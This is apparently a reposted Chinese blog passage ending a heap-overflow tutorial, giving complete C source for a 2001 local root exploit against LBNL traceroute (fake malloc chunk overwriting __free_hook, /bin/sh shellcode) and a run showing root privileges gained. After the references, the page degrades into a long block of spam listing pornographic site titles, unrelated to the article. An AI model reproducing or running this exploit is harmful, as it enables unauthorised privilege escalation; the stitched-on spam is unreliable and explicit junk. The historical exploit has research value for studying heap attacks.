  • /* Exploit for LBNL traceroute with unlinking nextchunk * - traceroute-ex.c * * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR. * * by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url]) * 2001/03/08 */ #include <stdio.h> #include <stdlib.h>#define __FREE_HOOK 0x401091b8 /* __free_hook地址 */ #define VULPROG "/usr/sbin/traceroute"#define PREV_INUSE 0x1 #define IS_MMAPPED 0x2char shellcode[] = "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*這一段是為了跳過垃圾數據 */"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";main (int argc, char **argv) {unsigned int codeaddr = 0;char buf[128],fake_chunk[16];char *env[2];unsigned int *ptr;/* 計算shellcode在堆棧中的地址 */codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);env[0] = shellcode;env[1] = NULL;/* 偽造一個塊結構。 */ptr = (unsigned int *) fake_chunk;*ptr++ = 0x11223344 & ~PREV_INUSE;*ptr++ = 0xfffffffc;*ptr++ = __FREE_HOOK - 12;*ptr++ = codeaddr;bzero (buf, 128);/* 設置chunk->size = ((20+8 = 28 = 0x1c) | PREV_INUSE)= 0x1d */memcpy(buf, "0x1d.0x00.0x00.0x00 ", 20);memcpy(buf+20, fake_chunk, 16);execle (VULPROG, VULPROG, "-g", "1.1", "-g" , buf, "127.0.0.1", NULL, env);}/* End of main */
    測試結果:

    [warning3@redhat-6 malloc]$ gcc -o ex3 ex3.c
    [warning3@redhat-6 malloc]$ ./ex3
    bash# id
    uid=507(warning3) gid=507(warning3) euid=0(root) groups=507(warning3),100(users)
    bash#

    ★ 結束語:

    malloc/free的問題使得在某些平臺/系統下,Heap區溢出的危險性大大增加了,
    值得引起我們的重視。另外,除了free()可能出問題外,realloc()也可能出問題。
    有興趣的讀者可以自行參看一下realloc()的代碼。

    最初想寫這篇文檔是在去年10月份,后來由于種種原因,一直拖了下來,
    為此被scz罵了很多次。 現在總算完成了。

    ★ 感謝:

    感謝Solar Designer,Chris Evans,dvorak,Michel Kaempf無私地奉獻了他
    們的研究成果。(參見參考文獻.)

    ★ 參考文獻:

    [1] Solar Designer, <<JPEG COM Marker Processing Vulnerability in Netscape Browsers>>
    http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt

    [2] Chris Evans, <<Very interesting traceroute flaw>>
    http://security-archive.merton.ox.ac.uk/bugtraq-200009/0482.html

    [3] dvorak , <<Traceroute exploit + story>>
    http://security-archive.merton.ox.ac.uk/bugtraq-200010/0084.html

    [4] Michel Kaempf, <<[MSY] Local root exploit in LBNL traceroute>>
    http://security-archive.merton.ox.ac.uk/bugtraq-200011/0081.html
    希望大家提問前先 google 關鍵詞<br /> 希望大家提問前先看論壇的精華和置項的貼子<br /> 希望大家提問前先搜索論壇的相關內容<br /> 希望大家提問時把標題寫清楚<br /> 希望大家貼代碼時能保持縮進<br /> LFS ID:8158?

    轉載于:https://www.cnblogs.com/onlyforcloud/articles/4476436.html

    總結

    以上是生活随笔為你收集整理的一种新的Heap区溢出技术分析[转贴]的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

    蜜桃臀无码内射一区二区三区 | 色情久久久av熟女人妻网站 | 国产成人精品久久亚洲高清不卡 | 久久久久免费精品国产 | 精品成人av一区二区三区 | 国产婷婷色一区二区三区在线 | 日本护士毛茸茸高潮 | 波多野结衣av一区二区全免费观看 | a在线观看免费网站大全 | 人人爽人人澡人人人妻 | 国产明星裸体无码xxxx视频 | 丰满人妻被黑人猛烈进入 | 中文字幕乱码人妻无码久久 | 未满小14洗澡无码视频网站 | 99久久久国产精品无码免费 | 亚洲大尺度无码无码专区 | 十八禁真人啪啪免费网站 | 国产精品怡红院永久免费 | 国产精品久久久一区二区三区 | 无码吃奶揉捏奶头高潮视频 | 又粗又大又硬毛片免费看 | 强伦人妻一区二区三区视频18 | www成人国产高清内射 | 欧美亚洲日韩国产人成在线播放 | 国产精品久久久久久无码 | 色窝窝无码一区二区三区色欲 | 成人综合网亚洲伊人 | 未满成年国产在线观看 | 天堂久久天堂av色综合 | 人妻插b视频一区二区三区 | 亚洲精品久久久久久一区二区 | 少妇高潮一区二区三区99 | 欧美阿v高清资源不卡在线播放 | 国内精品久久毛片一区二区 | 性欧美疯狂xxxxbbbb | 欧美xxxx黑人又粗又长 | 少妇被粗大的猛进出69影院 | 欧美日韩色另类综合 | 午夜丰满少妇性开放视频 | 女高中生第一次破苞av | 国产乱人无码伦av在线a | 午夜福利不卡在线视频 | 亚洲精品一区二区三区在线观看 | 亚洲码国产精品高潮在线 | 国产艳妇av在线观看果冻传媒 | 粉嫩少妇内射浓精videos | 久久亚洲中文字幕无码 | 激情综合激情五月俺也去 | 免费人成在线视频无码 | 日本一卡2卡3卡4卡无卡免费网站 国产一区二区三区影院 | 又色又爽又黄的美女裸体网站 | 成人无码精品1区2区3区免费看 | 高清无码午夜福利视频 | 亚洲熟妇色xxxxx欧美老妇y | 中文字幕无码视频专区 | 天堂久久天堂av色综合 | 国产麻豆精品一区二区三区v视界 | 黑人大群体交免费视频 | 国产手机在线αⅴ片无码观看 | 无遮挡啪啪摇乳动态图 | 成人免费视频视频在线观看 免费 | 亚洲成av人综合在线观看 | 精品无码国产自产拍在线观看蜜 | 55夜色66夜色国产精品视频 | 欧洲美熟女乱又伦 | 亚洲va中文字幕无码久久不卡 | 最新国产乱人伦偷精品免费网站 | 国产农村妇女高潮大叫 | 无码一区二区三区在线观看 | 男人和女人高潮免费网站 | 婷婷五月综合缴情在线视频 | 人妻少妇被猛烈进入中文字幕 | 久久人人爽人人爽人人片av高清 | 欧洲精品码一区二区三区免费看 | 伊人色综合久久天天小片 | 亚洲阿v天堂在线 | 中文无码伦av中文字幕 | 国产真人无遮挡作爱免费视频 | 波多野结衣 黑人 | 国产熟妇高潮叫床视频播放 | 丰满诱人的人妻3 | 久久综合网欧美色妞网 | 亚洲成av人影院在线观看 | 日韩精品a片一区二区三区妖精 | 久久久久99精品国产片 | 亚洲色www成人永久网址 | 在教室伦流澡到高潮hnp视频 | 亚洲s色大片在线观看 | 欧美人与动性行为视频 | 精品久久久无码人妻字幂 | 亚洲精品一区三区三区在线观看 | 一二三四社区在线中文视频 | 人妻天天爽夜夜爽一区二区 | 蜜桃视频韩日免费播放 | 国产成人av免费观看 | 麻豆蜜桃av蜜臀av色欲av | 亚洲国产精品一区二区美利坚 | 97精品人妻一区二区三区香蕉 | 国产美女极度色诱视频www | 亚洲成av人综合在线观看 | 久久亚洲中文字幕精品一区 | 免费视频欧美无人区码 | 少妇无码av无码专区在线观看 | 人妻与老人中文字幕 | 精品欧美一区二区三区久久久 | 88国产精品欧美一区二区三区 | 久久亚洲日韩精品一区二区三区 | 国产福利视频一区二区 | 无套内谢的新婚少妇国语播放 | 亚洲欧美日韩成人高清在线一区 | 亲嘴扒胸摸屁股激烈网站 | 骚片av蜜桃精品一区 | 国产办公室秘书无码精品99 | 自拍偷自拍亚洲精品10p | 中文字幕av伊人av无码av | 亚洲七七久久桃花影院 | 久久精品国产亚洲精品 | 亚洲熟熟妇xxxx | 欧美日韩色另类综合 | 一区二区三区乱码在线 | 欧洲 | 国产精品资源一区二区 | 成人精品视频一区二区三区尤物 | 国产成人无码一二三区视频 | 亚洲日本一区二区三区在线 | 日韩精品无码免费一区二区三区 | 国产高清不卡无码视频 | a在线亚洲男人的天堂 | av香港经典三级级 在线 | 欧美成人免费全部网站 | 一本大道久久东京热无码av | 国产一区二区三区影院 | 特黄特色大片免费播放器图片 | 亚洲色偷偷男人的天堂 | 永久免费观看国产裸体美女 | 国产精品a成v人在线播放 | 在线天堂新版最新版在线8 | 在线视频网站www色 | 国产亚洲精品久久久久久久 | 欧美人妻一区二区三区 | 免费网站看v片在线18禁无码 | 搡女人真爽免费视频大全 | 99久久99久久免费精品蜜桃 | 国产人妻人伦精品 | 中文字幕av伊人av无码av | 少妇无套内谢久久久久 | 国产情侣作爱视频免费观看 | 未满成年国产在线观看 | 亚洲成av人影院在线观看 | 欧美野外疯狂做受xxxx高潮 | 欧美肥老太牲交大战 | 2019nv天堂香蕉在线观看 | 成人片黄网站色大片免费观看 | 精品久久久久香蕉网 | 在线精品亚洲一区二区 | 精品无码国产自产拍在线观看蜜 | 中文字幕无码热在线视频 | 亚洲娇小与黑人巨大交 | 精品久久久久久亚洲精品 | 精品国产成人一区二区三区 | 日产国产精品亚洲系列 | 免费人成在线视频无码 | av无码久久久久不卡免费网站 | 成人av无码一区二区三区 | 国产精品高潮呻吟av久久 | 国产成人综合美国十次 | 国产精品二区一区二区aⅴ污介绍 | 色综合久久久无码中文字幕 | 国产精品亚洲五月天高清 | 国产xxx69麻豆国语对白 | 国产成人久久精品流白浆 | 久青草影院在线观看国产 | 国产熟妇另类久久久久 | 国产精品久久久一区二区三区 | 久久精品成人欧美大片 | 成人无码影片精品久久久 | 午夜福利一区二区三区在线观看 | 国产一精品一av一免费 | 日韩视频 中文字幕 视频一区 | 国产日产欧产精品精品app | 波多野结衣乳巨码无在线观看 | 久久无码人妻影院 | 国产亚洲人成在线播放 | 理论片87福利理论电影 | 国产午夜无码视频在线观看 | 久久久久亚洲精品中文字幕 | 久久精品人人做人人综合 | 极品嫩模高潮叫床 | 欧美第一黄网免费网站 | 成人精品天堂一区二区三区 | 人人爽人人爽人人片av亚洲 | 色综合久久久无码网中文 | 日日鲁鲁鲁夜夜爽爽狠狠 | 亚洲狠狠色丁香婷婷综合 | 国产九九九九九九九a片 | 日本精品人妻无码77777 天堂一区人妻无码 | 无码国模国产在线观看 | 无人区乱码一区二区三区 | 丰满岳乱妇在线观看中字无码 | 亚洲国产一区二区三区在线观看 | 综合人妻久久一区二区精品 | 98国产精品综合一区二区三区 | 日日麻批免费40分钟无码 | 久久精品人人做人人综合试看 | 国产九九九九九九九a片 | 国产偷抇久久精品a片69 | 久久久久久久久蜜桃 | 人人妻人人澡人人爽欧美一区九九 | 亚洲成a人片在线观看日本 | 成人性做爰aaa片免费看不忠 | a在线观看免费网站大全 | 无码成人精品区在线观看 | 国产在线精品一区二区三区直播 | аⅴ资源天堂资源库在线 | 亚洲日本va午夜在线电影 | 国产欧美亚洲精品a | 国产一区二区三区影院 | 久久午夜无码鲁丝片午夜精品 | 精品无码一区二区三区爱欲 | 18精品久久久无码午夜福利 | 天堂一区人妻无码 | 人妻少妇精品无码专区二区 | 欧美熟妇另类久久久久久不卡 | 性生交大片免费看女人按摩摩 | 亚洲日本va午夜在线电影 | 人妻天天爽夜夜爽一区二区 | 丰满岳乱妇在线观看中字无码 | 日韩欧美中文字幕公布 | 99re在线播放 | 久久伊人色av天堂九九小黄鸭 | 国产黄在线观看免费观看不卡 | 亚洲一区二区观看播放 | 丰满妇女强制高潮18xxxx | 亚洲 欧美 激情 小说 另类 | 国产午夜无码精品免费看 | 久久精品人人做人人综合 | 久久亚洲精品中文字幕无男同 | 亚洲色大成网站www国产 | 国产亚洲欧美日韩亚洲中文色 | 成人免费视频一区二区 | 亚洲爆乳无码专区 | 中文字幕无码热在线视频 | 2020久久香蕉国产线看观看 | 亚洲色欲色欲天天天www | 精品人妻人人做人人爽夜夜爽 | 久久久久久久女国产乱让韩 | 日本免费一区二区三区最新 | 强奷人妻日本中文字幕 | 免费观看的无遮挡av | 久久精品国产99精品亚洲 | 国产无套粉嫩白浆在线 | 性生交大片免费看女人按摩摩 | 伦伦影院午夜理论片 | 亚洲欧洲中文日韩av乱码 | 精品无码一区二区三区爱欲 | 国产精品理论片在线观看 | 色偷偷人人澡人人爽人人模 | 7777奇米四色成人眼影 | 国产成人午夜福利在线播放 | 亚洲一区二区三区香蕉 | 久久久婷婷五月亚洲97号色 | 精品厕所偷拍各类美女tp嘘嘘 | 婷婷综合久久中文字幕蜜桃三电影 | a在线亚洲男人的天堂 | 久久zyz资源站无码中文动漫 | 久久亚洲精品中文字幕无男同 | 老熟女重囗味hdxx69 | 久久亚洲精品成人无码 | 精品国产精品久久一区免费式 | 国产精品二区一区二区aⅴ污介绍 | 激情内射亚州一区二区三区爱妻 | 国产精品igao视频网 | 人妻互换免费中文字幕 | 一本久久伊人热热精品中文字幕 | 久久久久免费精品国产 | 好爽又高潮了毛片免费下载 | 无码中文字幕色专区 | 中文精品无码中文字幕无码专区 | 秋霞成人午夜鲁丝一区二区三区 | 成人性做爰aaa片免费看不忠 | 久久国产精品二国产精品 | 无码人妻av免费一区二区三区 | 99久久精品午夜一区二区 | 精品无码成人片一区二区98 | 99re在线播放 | 午夜男女很黄的视频 | 精品乱子伦一区二区三区 | 亚洲精品国偷拍自产在线观看蜜桃 | 久久午夜无码鲁丝片秋霞 | 成人无码视频在线观看网站 | 久久国内精品自在自线 | 中文精品久久久久人妻不卡 | 最新国产麻豆aⅴ精品无码 | 99久久久无码国产aaa精品 | 丰满人妻精品国产99aⅴ | 青青青手机频在线观看 | 欧美日韩久久久精品a片 | 亚洲精品国产第一综合99久久 | 国产 精品 自在自线 | 四虎永久在线精品免费网址 | 一个人看的视频www在线 | 18黄暴禁片在线观看 | 狂野欧美性猛交免费视频 | 久精品国产欧美亚洲色aⅴ大片 | 久久www免费人成人片 | 欧美性色19p | 男女爱爱好爽视频免费看 | 国产极品视觉盛宴 | 荫蒂被男人添的好舒服爽免费视频 | 日本熟妇大屁股人妻 | 麻豆国产人妻欲求不满谁演的 | 人妻少妇精品久久 | 88国产精品欧美一区二区三区 | 成 人 网 站国产免费观看 | 男人的天堂av网站 | 小鲜肉自慰网站xnxx | 国产高潮视频在线观看 | 亚洲精品一区二区三区婷婷月 | 女人被男人爽到呻吟的视频 | 麻豆精品国产精华精华液好用吗 | 色窝窝无码一区二区三区色欲 | 老熟女乱子伦 | 嫩b人妻精品一区二区三区 | 国产人妻精品午夜福利免费 | 无码精品人妻一区二区三区av | 亚洲中文无码av永久不收费 | 亚洲色欲色欲天天天www | 免费观看又污又黄的网站 | 无遮挡啪啪摇乳动态图 | 98国产精品综合一区二区三区 | 人人妻人人澡人人爽欧美精品 | 国产亚洲精品久久久久久大师 | 亚洲の无码国产の无码步美 | 奇米综合四色77777久久 东京无码熟妇人妻av在线网址 | 免费国产黄网站在线观看 | 亚洲天堂2017无码中文 | 亚洲一区二区三区四区 | 无码人妻久久一区二区三区不卡 | 国产成人无码av在线影院 | 亚洲国产一区二区三区在线观看 | 久久婷婷五月综合色国产香蕉 | 国产av剧情md精品麻豆 | 一本久久伊人热热精品中文字幕 | 国产午夜精品一区二区三区嫩草 | 伦伦影院午夜理论片 | 国产精品va在线观看无码 | 色综合久久久无码中文字幕 | 婷婷综合久久中文字幕蜜桃三电影 | 一区二区传媒有限公司 | 国内揄拍国内精品人妻 | 天天av天天av天天透 | 久久 国产 尿 小便 嘘嘘 | 又大又紧又粉嫩18p少妇 | 秋霞成人午夜鲁丝一区二区三区 | 天堂а√在线中文在线 | 欧美日本精品一区二区三区 | 日本精品人妻无码77777 天堂一区人妻无码 | 俺去俺来也在线www色官网 | 国产精品.xx视频.xxtv | 在线a亚洲视频播放在线观看 | 少妇无码av无码专区在线观看 | 四十如虎的丰满熟妇啪啪 | 国产精品亚洲а∨无码播放麻豆 | 亚洲熟悉妇女xxx妇女av | 人妻体内射精一区二区三四 | 国产亚洲精品久久久久久久 | 亚洲综合伊人久久大杳蕉 | 成在人线av无码免观看麻豆 | 国产xxx69麻豆国语对白 | 国产无遮挡吃胸膜奶免费看 | 日本精品久久久久中文字幕 | 国产精品无码一区二区桃花视频 | 亚洲国产精品毛片av不卡在线 | 丝袜足控一区二区三区 | 丝袜 中出 制服 人妻 美腿 | 久久精品人人做人人综合试看 | 精品一二三区久久aaa片 | 国产国产精品人在线视 | 日本xxxx色视频在线观看免费 | 久久综合香蕉国产蜜臀av | 成人综合网亚洲伊人 | 亚洲国产日韩a在线播放 | 粉嫩少妇内射浓精videos | 两性色午夜免费视频 | 无码国产乱人伦偷精品视频 | 成人欧美一区二区三区黑人免费 | 日本爽爽爽爽爽爽在线观看免 | 内射巨臀欧美在线视频 | 成人精品视频一区二区三区尤物 | 久久人人97超碰a片精品 | 男人的天堂2018无码 | 中文字幕人妻无码一区二区三区 | 免费乱码人妻系列无码专区 | 国产av无码专区亚洲a∨毛片 | 亚洲啪av永久无码精品放毛片 | 国产激情一区二区三区 | 给我免费的视频在线观看 | 国产尤物精品视频 | 亚洲人成网站在线播放942 | 综合激情五月综合激情五月激情1 | 国产精品国产自线拍免费软件 | 欧美zoozzooz性欧美 | 亚洲日本va午夜在线电影 | 巨爆乳无码视频在线观看 | 三级4级全黄60分钟 | 日日摸夜夜摸狠狠摸婷婷 | www国产精品内射老师 | 国产麻豆精品一区二区三区v视界 | 蜜臀av在线播放 久久综合激激的五月天 | 久精品国产欧美亚洲色aⅴ大片 | 鲁鲁鲁爽爽爽在线视频观看 | 欧美自拍另类欧美综合图片区 | 人人妻在人人 | 小sao货水好多真紧h无码视频 | aⅴ亚洲 日韩 色 图网站 播放 | 中文字幕乱码亚洲无线三区 | 青青青爽视频在线观看 | 国产免费久久精品国产传媒 | 国产乱人伦偷精品视频 | 天堂亚洲2017在线观看 | 精品国产青草久久久久福利 | 精品国产一区二区三区四区在线看 | 久久精品国产大片免费观看 | 免费网站看v片在线18禁无码 | 精品 日韩 国产 欧美 视频 | av人摸人人人澡人人超碰下载 | 麻豆果冻传媒2021精品传媒一区下载 | 精品人妻人人做人人爽夜夜爽 | 欧美丰满熟妇xxxx性ppx人交 | 成人女人看片免费视频放人 | 亚洲男女内射在线播放 | 性色欲情网站iwww九文堂 | 亚洲成a人片在线观看日本 | 国产精品福利视频导航 | 日本肉体xxxx裸交 | 国产成人精品优优av | 麻豆成人精品国产免费 | 亚洲欧美综合区丁香五月小说 | 国产乱人伦app精品久久 国产在线无码精品电影网 国产国产精品人在线视 | 搡女人真爽免费视频大全 | 网友自拍区视频精品 | 久久99国产综合精品 | 红桃av一区二区三区在线无码av | 人妻夜夜爽天天爽三区 | 强辱丰满人妻hd中文字幕 | www国产亚洲精品久久久日本 | 伊人久久大香线蕉午夜 | 国产亚洲精品久久久久久大师 | 日韩av激情在线观看 | 啦啦啦www在线观看免费视频 | 3d动漫精品啪啪一区二区中 | 久久综合网欧美色妞网 | 性色欲情网站iwww九文堂 | 国产精品爱久久久久久久 | 欧美国产亚洲日韩在线二区 | 亚洲日本va午夜在线电影 | 男女下面进入的视频免费午夜 | 国产亚洲精品久久久久久国模美 | 欧美一区二区三区视频在线观看 | 中文字幕无码日韩欧毛 | 熟女少妇在线视频播放 | 又大又硬又爽免费视频 | 久久久久免费看成人影片 | 性欧美videos高清精品 | 欧美丰满熟妇xxxx性ppx人交 | 亚洲国产精品无码一区二区三区 | 精品人妻中文字幕有码在线 | 伊人久久婷婷五月综合97色 | 精品人妻人人做人人爽夜夜爽 | 3d动漫精品啪啪一区二区中 | 欧美精品免费观看二区 | 久久久久久久久蜜桃 | 亚洲呦女专区 | 色窝窝无码一区二区三区色欲 | 免费播放一区二区三区 | 久久99精品久久久久久动态图 | 无码人妻av免费一区二区三区 | 国产无遮挡吃胸膜奶免费看 | 中文字幕日韩精品一区二区三区 | 精品熟女少妇av免费观看 | 亚洲s色大片在线观看 | 在线观看免费人成视频 | 国产精品久久久久9999小说 | 国产成人精品三级麻豆 | 亚洲无人区午夜福利码高清完整版 | 欧美变态另类xxxx | 18禁止看的免费污网站 | 俺去俺来也在线www色官网 | 丰满护士巨好爽好大乳 | 久久99精品国产麻豆 | 亚洲一区二区三区无码久久 | 久久久久亚洲精品男人的天堂 | 日本一卡2卡3卡4卡无卡免费网站 国产一区二区三区影院 | 女人和拘做爰正片视频 | 国产人妖乱国产精品人妖 | 国产亚洲日韩欧美另类第八页 | 亚拍精品一区二区三区探花 | 亚洲自偷自拍另类第1页 | 日韩无码专区 | 久久伊人色av天堂九九小黄鸭 | 亚洲色偷偷男人的天堂 | 人妻无码αv中文字幕久久琪琪布 | 好男人www社区 | 又大又硬又爽免费视频 | 亚洲无人区一区二区三区 | 无码人妻丰满熟妇区五十路百度 | 久久久无码中文字幕久... | 精品久久久久久人妻无码中文字幕 | 中文毛片无遮挡高清免费 | 精品午夜福利在线观看 | 无套内射视频囯产 | 九九热爱视频精品 | 少妇性l交大片欧洲热妇乱xxx | 疯狂三人交性欧美 | 俺去俺来也www色官网 | 国产精品久久久久无码av色戒 | 噜噜噜亚洲色成人网站 | 欧美 日韩 人妻 高清 中文 | 老熟妇乱子伦牲交视频 | 又大又硬又爽免费视频 | 性生交片免费无码看人 | 亚洲国产精华液网站w | 捆绑白丝粉色jk震动捧喷白浆 | 女人色极品影院 | 亚洲熟妇自偷自拍另类 | 天下第一社区视频www日本 | 国产肉丝袜在线观看 | 少妇被粗大的猛进出69影院 | 精品无码成人片一区二区98 | 性色av无码免费一区二区三区 | 影音先锋中文字幕无码 | 国产高潮视频在线观看 | 日本一区二区三区免费高清 | 最新国产乱人伦偷精品免费网站 | 99久久久国产精品无码免费 | 丰满岳乱妇在线观看中字无码 | 任你躁国产自任一区二区三区 | 久久久久亚洲精品男人的天堂 | 狠狠色噜噜狠狠狠狠7777米奇 | 婷婷丁香五月天综合东京热 | 精品乱码久久久久久久 | 一本一道久久综合久久 | 亚洲成a人一区二区三区 | 亚洲精品欧美二区三区中文字幕 | 亚洲中文无码av永久不收费 | 欧美激情一区二区三区成人 | 全球成人中文在线 | 国产麻豆精品一区二区三区v视界 | 人妻无码久久精品人妻 | 亚洲精品国产精品乱码不卡 | 人人妻人人澡人人爽欧美精品 | 国产亚洲日韩欧美另类第八页 | 六十路熟妇乱子伦 | 亚洲自偷自拍另类第1页 | 在线播放免费人成毛片乱码 | 亚无码乱人伦一区二区 | 亚洲欧美精品aaaaaa片 | 人人妻人人澡人人爽人人精品浪潮 | 啦啦啦www在线观看免费视频 | 最近免费中文字幕中文高清百度 | 国产 精品 自在自线 | 人妻少妇被猛烈进入中文字幕 | 中文字幕无码av激情不卡 | 黑人粗大猛烈进出高潮视频 | 丝袜足控一区二区三区 | 波多野结衣一区二区三区av免费 | 国产午夜视频在线观看 | 久久人妻内射无码一区三区 | 久久zyz资源站无码中文动漫 | 久久久久se色偷偷亚洲精品av | 国产精品-区区久久久狼 | 日日摸天天摸爽爽狠狠97 | 人妻无码久久精品人妻 | 2020久久香蕉国产线看观看 | 久久亚洲日韩精品一区二区三区 | 亚洲中文无码av永久不收费 | 成 人 网 站国产免费观看 | 亚洲欧洲日本无在线码 | 久久久久久国产精品无码下载 | 成人性做爰aaa片免费看 | 丰满少妇女裸体bbw | 亚洲成av人片天堂网无码】 | 日日碰狠狠丁香久燥 | 欧美丰满熟妇xxxx | 亚洲无人区午夜福利码高清完整版 | 日韩无套无码精品 | 亚洲 激情 小说 另类 欧美 | 内射爽无广熟女亚洲 | 欧美人与牲动交xxxx | 九九在线中文字幕无码 | 欧美成人高清在线播放 | 99久久人妻精品免费一区 | 欧美日韩一区二区综合 | 丰满护士巨好爽好大乳 | 国产亚洲精品久久久闺蜜 | 久久亚洲国产成人精品性色 | 中文字幕久久久久人妻 | 真人与拘做受免费视频 | 国产av久久久久精东av | 无码国内精品人妻少妇 | 国产精品成人av在线观看 | 亚洲成av人片在线观看无码不卡 | 久久99精品国产麻豆蜜芽 | 亚洲人亚洲人成电影网站色 | 国产情侣作爱视频免费观看 | 人妻少妇精品久久 | 十八禁视频网站在线观看 | 啦啦啦www在线观看免费视频 | 亚洲精品一区国产 | 奇米影视7777久久精品人人爽 | 曰韩无码二三区中文字幕 | 久久久www成人免费毛片 | 国内少妇偷人精品视频免费 | 少妇无码一区二区二三区 | 国产乱人伦app精品久久 国产在线无码精品电影网 国产国产精品人在线视 | 麻豆蜜桃av蜜臀av色欲av | 国内精品久久毛片一区二区 | 国语精品一区二区三区 | 在线看片无码永久免费视频 | 永久免费观看国产裸体美女 | 麻豆精品国产精华精华液好用吗 | 无码毛片视频一区二区本码 | 熟妇人妻中文av无码 | 日韩在线不卡免费视频一区 | 久久久久久国产精品无码下载 | 国产精品igao视频网 | 国产舌乚八伦偷品w中 | 亚洲自偷自拍另类第1页 | 野外少妇愉情中文字幕 | 无码乱肉视频免费大全合集 | 亚洲gv猛男gv无码男同 | 亚洲天堂2017无码 | 亚洲一区二区三区国产精华液 | 亚洲欧洲日本综合aⅴ在线 | 东北女人啪啪对白 | 99在线 | 亚洲 | 日本护士毛茸茸高潮 | 十八禁视频网站在线观看 | 欧美成人高清在线播放 | 国产精品嫩草久久久久 | 蜜桃视频插满18在线观看 | 亚洲成a人片在线观看无码 | 亚洲精品久久久久久久久久久 | 亚洲精品一区二区三区在线观看 | 亚洲成av人综合在线观看 | 成人精品天堂一区二区三区 | 国产精品久久国产三级国 | 色欲综合久久中文字幕网 | 夜精品a片一区二区三区无码白浆 | 久久精品国产日本波多野结衣 | 精品夜夜澡人妻无码av蜜桃 | 欧美怡红院免费全部视频 | 在线观看欧美一区二区三区 | 中文字幕中文有码在线 | 日日碰狠狠躁久久躁蜜桃 | 成人女人看片免费视频放人 | 欧美性生交xxxxx久久久 | 国产成人一区二区三区在线观看 | 四虎永久在线精品免费网址 | 国产乱码精品一品二品 | 又湿又紧又大又爽a视频国产 | 国产特级毛片aaaaaaa高清 | 亚洲色大成网站www国产 | 无码人妻av免费一区二区三区 | 强辱丰满人妻hd中文字幕 | 蜜桃视频插满18在线观看 | 亚洲色欲色欲天天天www | 国产精品99爱免费视频 | 蜜臀aⅴ国产精品久久久国产老师 | 国产色视频一区二区三区 | 国产精品-区区久久久狼 | 亚洲精品成a人在线观看 | 久久久久成人片免费观看蜜芽 | 亚洲中文字幕无码中字 | 午夜丰满少妇性开放视频 | 久久精品国产一区二区三区 | 成年美女黄网站色大免费视频 | 午夜精品一区二区三区的区别 | 国产精品无码成人午夜电影 | 永久黄网站色视频免费直播 | 中文字幕无码乱人伦 | 欧洲欧美人成视频在线 | 成熟人妻av无码专区 | 图片区 小说区 区 亚洲五月 | 色婷婷久久一区二区三区麻豆 | 欧美老熟妇乱xxxxx | 国产精品无码一区二区三区不卡 | 乱人伦人妻中文字幕无码久久网 | 精品久久久久香蕉网 | 中文字幕av无码一区二区三区电影 | 国产激情精品一区二区三区 | 国产黄在线观看免费观看不卡 | 中文字幕乱码人妻二区三区 | 国产精品久久国产三级国 | 国产精品久久国产精品99 | 亚洲综合久久一区二区 | 成人三级无码视频在线观看 | 精品夜夜澡人妻无码av蜜桃 | 亚洲日韩一区二区三区 | 日韩亚洲欧美中文高清在线 | 国产婷婷色一区二区三区在线 | 一二三四社区在线中文视频 | 国产精品亚洲专区无码不卡 | 精品亚洲韩国一区二区三区 | 欧美丰满老熟妇xxxxx性 | 激情亚洲一区国产精品 | 欧美日韩在线亚洲综合国产人 | 大地资源网第二页免费观看 | 日韩无套无码精品 | 国内精品九九久久久精品 | 国产片av国语在线观看 | 老太婆性杂交欧美肥老太 | 日本一卡二卡不卡视频查询 | 纯爱无遮挡h肉动漫在线播放 | 亚洲精品久久久久久久久久久 | 狂野欧美激情性xxxx | 377p欧洲日本亚洲大胆 | 三级4级全黄60分钟 | 亚欧洲精品在线视频免费观看 | 国产午夜视频在线观看 | 国产又爽又黄又刺激的视频 | 亚洲精品鲁一鲁一区二区三区 | 亚洲自偷自拍另类第1页 | 狠狠躁日日躁夜夜躁2020 | 在线播放亚洲第一字幕 | 老熟女乱子伦 | 最新国产麻豆aⅴ精品无码 | 成在人线av无码免观看麻豆 | 国产精品久久久久久久9999 | 中文字幕无码av波多野吉衣 | aⅴ在线视频男人的天堂 | 国产热a欧美热a在线视频 | 国产精品永久免费视频 | av无码电影一区二区三区 | www国产精品内射老师 | 国产网红无码精品视频 | 久热国产vs视频在线观看 | 精品国偷自产在线 | 亚洲aⅴ无码成人网站国产app | 日韩在线不卡免费视频一区 | 亚洲精品国偷拍自产在线麻豆 | 成人一在线视频日韩国产 | 亚洲国产精品久久久久久 | 久久 国产 尿 小便 嘘嘘 | 欧美激情一区二区三区成人 | 大乳丰满人妻中文字幕日本 | 一个人看的www免费视频在线观看 | 欧美三级不卡在线观看 | 国产 精品 自在自线 | 又大又紧又粉嫩18p少妇 | www国产精品内射老师 | 日韩欧美中文字幕公布 | 欧美怡红院免费全部视频 | 亚洲人成网站在线播放942 | 亚洲小说春色综合另类 | 久久亚洲日韩精品一区二区三区 | 精品久久综合1区2区3区激情 | 高潮毛片无遮挡高清免费 | 男女爱爱好爽视频免费看 | 午夜性刺激在线视频免费 | 激情爆乳一区二区三区 | 好屌草这里只有精品 | 无码国产乱人伦偷精品视频 | 又湿又紧又大又爽a视频国产 | 欧美老熟妇乱xxxxx | 高清无码午夜福利视频 | 国产精品va在线播放 | 无码成人精品区在线观看 | 国产肉丝袜在线观看 | 成人亚洲精品久久久久 | 亚洲无人区一区二区三区 | 夫妻免费无码v看片 | 国产口爆吞精在线视频 | 国产成人久久精品流白浆 | 亚洲人成影院在线观看 | 狠狠综合久久久久综合网 | 精品一区二区三区无码免费视频 | 乱中年女人伦av三区 | 精品亚洲成av人在线观看 | 午夜成人1000部免费视频 | 5858s亚洲色大成网站www | 亚洲成av人影院在线观看 | 婷婷丁香五月天综合东京热 | 国产精品va在线播放 | 高潮毛片无遮挡高清免费 | 好屌草这里只有精品 | 久久久精品人妻久久影视 | 